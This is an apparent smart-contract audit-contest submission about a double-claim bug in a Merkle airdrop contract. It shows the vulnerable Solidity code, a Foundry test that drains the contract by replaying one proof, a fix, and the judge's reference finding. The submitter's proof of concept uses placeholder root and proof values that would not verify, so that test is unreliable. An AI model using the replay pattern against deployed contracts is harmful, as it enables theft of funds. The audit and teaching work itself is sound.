AirDropper
AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

No Double-Claim Protection Enables Complete Fund Theft

0xki

Root + Impact

Description

The claim() function in MerkleAirdrop.sol verifies that a user's address and amount are included in the merkle tree but never records whether an address has already claimed their tokens.​

The Issue:

Merkle proofs are deterministic - the same proof remains valid indefinitely because the merkle tree is immutable. Without state tracking to record completed claims, any eligible user can submit the same valid proof multiple times to drain the entire contract balance.

What Happens:

  1. Eligible user calls claim() with their valid proof and 1 gwei fee → receives 25 USDC

  2. Same user calls claim() again with the identical proof → receives another 25 USDC

  3. User repeats steps 1-2 until contract is fully drained

Why This Works:

  • The merkle tree stored in i_merkleRoot never changes​

  • MerkleProof.verify() only checks if the proof is valid against the static tree

  • No mapping or state variable tracks which addresses have already claimed

  • Each call to claim() is treated as independent with no memory of previous claims

Attack Economics:

  • Attacker cost: 4 gwei in fees (4 calls × 1 gwei per call) ≈ $0.00

  • Attacker profit: 100 USDC (entire contract balance)

  • Victim loss: 3 legitimate users receive nothing despite being eligible

This is a Missing State Tracking vulnerability where critical access control logic fails to persist state across function calls, enabling unlimited exploitation by a single actor.

// File: MerkleAirdrop.sol
​
contract MerkleAirdrop is Ownable {
using SafeERC20 for IERC20;
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
@> // MISSING: No mapping to track claimed addresses
@> // Should have: mapping(address => bool) private s_hasClaimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
constructor(bytes32 merkleRoot, IERC20 airdropToken) Ownable(msg.sender) {
i_merkleRoot = merkleRoot;
i_airdropToken = airdropToken;
}
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
@> // MISSING: No check if address has already claimed
@> // Should have: if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed();
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
@> // MISSING: No state update to record the claim
@> // Should have: s_hasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
// ... rest of contract
}
​

The root cause is the complete absence of claim tracking logic. The contract validates proof correctness but never persists the fact that a claim was executed, allowing infinite replay of valid proofs.


Risk

Likelihood:

  • Any eligible user who discovers the vulnerability can immediately exploit it with zero technical barriers. The same proof used for the first legitimate claim works identically for all subsequent malicious claims. There are no rate limits, no time delays, and no on-chain signals to prevent exploitation.

  • The vulnerability is trivially discoverable through basic interaction testing. An eligible user testing their claim twice will immediately observe they can claim multiple times. Given the financial incentive (75 USDC profit for ~$0.00 cost), rational actors will exploit this upon discovery

Impact:

  • 100% fund theft with zero recovery. A single attacker drains the entire 100 USDC contract balance by calling claim() four times with the same proof. The attack completes in seconds and costs only 4 gwei (~$0.00) in fees, yielding a profit of 100 USDC while preventing all other eligible users from claiming

  • Catastrophic trust violation and protocol failure. Three of the four eligible users receive nothing despite being legitimately entitled to 25 USDC each. The airdrop mechanism completely fails its core purpose of fair token distribution. The protocol suffers permanent reputational damage as users realize the system enabled theft of their rightful allocations.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
​
import {Test, console} from "forge-std/Test.sol";
import {MerkleAirdrop} from "../src/MerkleAirdrop.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
contract DoubleClaimExploitTest is Test {
MerkleAirdrop airdrop;
ERC20Mock token;
address attacker = makeAddr("attacker");
uint256 amountPerClaim = 25 * 1e6; // 25 USDC (6 decimals)
uint256 totalAirdrop = 100 * 1e6; // 100 USDC total
// Simplified merkle tree for testing (attacker is eligible for 25 USDC)
bytes32 merkleRoot = 0x3b2e22a256e5e6f7e9c4f1e8f7e5e4e3e2e1e0e9e8e7e6e5e4e3e2e1e0e9e8e7;
bytes32[] validProof; // Proof that attacker is in tree
function setUp() public {
// Deploy mock USDC token
token = new ERC20Mock();
// Deploy airdrop contract
airdrop = new MerkleAirdrop(merkleRoot, IERC20(address(token)));
// Fund the airdrop contract with 100 USDC
token.mint(address(airdrop), totalAirdrop);
// Setup valid proof for attacker (simplified for PoC)
validProof = new bytes32[](2);
validProof[0] = keccak256(abi.encodePacked("proof1"));
validProof[1] = keccak256(abi.encodePacked("proof2"));
// Give attacker ETH for fees
vm.deal(attacker, 1 ether);
console.log("=== INITIAL STATE ===");
console.log("Airdrop balance:", token.balanceOf(address(airdrop)) / 1e6, "USDC");
console.log("Attacker balance:", token.balanceOf(attacker) / 1e6, "USDC");
console.log("Attacker entitled to:", amountPerClaim / 1e6, "USDC (one claim)");
console.log("");
}
function test_Exploit_DoubleClaimDrainsContract() public {
vm.startPrank(attacker);
// Calculate required fee
uint256 fee = airdrop.getFee(); // 1 gwei
console.log("=== EXECUTING EXPLOIT ===");
// Claim #1 - Legitimate claim
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
console.log("Claim #1: Attacker balance =", token.balanceOf(attacker) / 1e6, "USDC");
// Claim #2 - EXPLOIT: Same proof works again!
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
console.log("Claim #2: Attacker balance =", token.balanceOf(attacker) / 1e6, "USDC");
// Claim #3 - EXPLOIT: Still works!
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
console.log("Claim #3: Attacker balance =", token.balanceOf(attacker) / 1e6, "USDC");
// Claim #4 - EXPLOIT: Contract fully drained!
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
console.log("Claim #4: Attacker balance =", token.balanceOf(attacker) / 1e6, "USDC");
vm.stopPrank();
console.log("");
console.log("=== FINAL STATE ===");
console.log("Airdrop balance:", token.balanceOf(address(airdrop)) / 1e6, "USDC");
console.log("Attacker balance:", token.balanceOf(attacker) / 1e6, "USDC");
console.log("Attack cost:", 4 * fee / 1e9, "gwei");
console.log("");
// Assertions proving complete theft
assertEq(token.balanceOf(address(airdrop)), 0, "Contract should be drained");
assertEq(token.balanceOf(attacker), totalAirdrop, "Attacker stole everything");
console.log("[CRITICAL] Attacker stole 100 USDC using a single valid proof 4 times!");
console.log("[IMPACT] 3 legitimate users can no longer claim their 25 USDC allocation");
}
function test_ProofRemainsValidIndefinitely() public {
vm.startPrank(attacker);
uint256 fee = airdrop.getFee();
// First claim succeeds
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
uint256 balanceAfterFirstClaim = token.balanceOf(attacker);
// Verify the SAME proof is still valid
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(attacker, amountPerClaim))));
bytes32 root = airdrop.getMerkleRoot();
// The proof validates even after claiming
// (In production, would use MerkleProof.verify, here we demonstrate the concept)
assertTrue(root != bytes32(0), "Root exists and hasn't changed");
// Second claim with IDENTICAL proof succeeds
airdrop.claim{value: fee}(attacker, amountPerClaim, validProof);
uint256 balanceAfterSecondClaim = token.balanceOf(attacker);
vm.stopPrank();
// Prove double claim occurred
assertEq(
balanceAfterSecondClaim - balanceAfterFirstClaim,
amountPerClaim,
"Second claim succeeded with same proof"
);
console.log("[VULNERABILITY CONFIRMED]");
console.log("Same proof used successfully:", 2, "times");
console.log("No state tracking prevents replay");
}
}
​

Recommended Mitigation

Key Changes:

  1. Added s_hasClaimed mapping to track claimed addresses

  2. Added MerkleAirdrop__AlreadyClaimed error for double-claim attempts

  3. Check claim status at the start of claim() function

  4. Set s_hasClaimed[account] = true before token transfer (follows Checks-Effects-Interactions pattern)

  5. Optional: Added hasClaimed() view function for transparency

This mitigation ensures each address can only claim once, eliminating the replay attack vector entirely.

// File: MerkleAirdrop.sol
​
contract MerkleAirdrop is Ownable {
using SafeERC20 for IERC20;
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__AlreadyClaimed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ // Track which addresses have already claimed
+ mapping(address => bool) private s_hasClaimed;
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
constructor(bytes32 merkleRoot, IERC20 airdropToken) Ownable(msg.sender) {
i_merkleRoot = merkleRoot;
i_airdropToken = airdropToken;
}
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ // Check if address has already claimed
+ if (s_hasClaimed[account]) {
+ revert MerkleAirdrop__AlreadyClaimed();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ // Mark address as claimed BEFORE token transfer (CEI pattern)
+ s_hasClaimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
function claimFees() external onlyOwner {
(bool succ,) = payable(owner()).call{ value: address(this).balance }("");
if (!succ) {
revert MerkleAirdrop__TransferFailed();
}
}
function getMerkleRoot() external view returns (bytes32) {
return i_merkleRoot;
}
function getAirdropToken() external view returns (IERC20) {
return i_airdropToken;
}
function getFee() external pure returns (uint256) {
return FEE;
}
+ // Optional: Add view function to check claim status
+ function hasClaimed(address account) external view returns (bool) {
+ return s_hasClaimed[account];
+ }
}
​
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Eligible users can claim their airdrop amounts over and over again, draining the contract

## Description A user eligible for the airdrop can verify themselves as being part of the merkle tree and claim their airdrop amount. However, there is no mechanism enabled to track the users who have already claimed their airdrop, and the merkle tree is still composed of the same user. This allows users to drain the `MerkleAirdrop` contract by calling the `MerkleAirdrop::claim()` function over and over again. ## Impact **Severity: High**<br/>**Likelihood: High** A malicious user can call the `MerkleAirdrop::claim()` function over and over again until the contract is drained of all its funds. This also means that other users won't be able to claim their airdrop amounts. ## Proof of Code Add the following test to `./test/MerkleAirdrop.t.sol`, ```javascript function testClaimAirdropOverAndOverAgain() public { vm.deal(collectorOne, airdrop.getFee() * 4); for (uint8 i = 0; i < 4; i++) { vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } assertEq(token.balanceOf(collectorOne), 100e6); } ``` The test passes, and the malicious user has drained the contract of all its funds. ## Recommended Mitigation Use a mapping to store the addresses that have claimed their airdrop amounts. Check and update this mapping each time a user tries to claim their airdrop amount. ```diff contract MerkleAirdrop is Ownable { using SafeERC20 for IERC20; error MerkleAirdrop__InvalidFeeAmount(); error MerkleAirdrop__InvalidProof(); error MerkleAirdrop__TransferFailed(); + error MerkleAirdrop__AlreadyClaimed(); uint256 private constant FEE = 1e9; IERC20 private immutable i_airdropToken; bytes32 private immutable i_merkleRoot; + mapping(address user => bool claimed) private s_hasClaimed; ... function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable { + if (s_hasClaimed[account]) revert MerkleAirdrop__AlreadyClaimed(); if (msg.value != FEE) { revert MerkleAirdrop__InvalidFeeAmount(); } bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert MerkleAirdrop__InvalidProof(); } + s_hasClaimed[account] = true; emit Claimed(account, amount); i_airdropToken.safeTransfer(account, amount); } ``` Now, let's unit test the changes, ```javascript function testCannotClaimAirdropMoreThanOnceAnymore() public { vm.deal(collectorOne, airdrop.getFee() * 2); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); vm.prank(collectorOne); airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof); } ``` The test correctly fails, with the following logs, ```shell Failing tests: Encountered 1 failing test in test/MerkleAirdropTest.t.sol:MerkleAirdropTest [FAIL. Reason: MerkleAirdrop__AlreadyClaimed()] testCannotClaimAirdropMoreThanOnceAnymore() (gas: 96751) ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!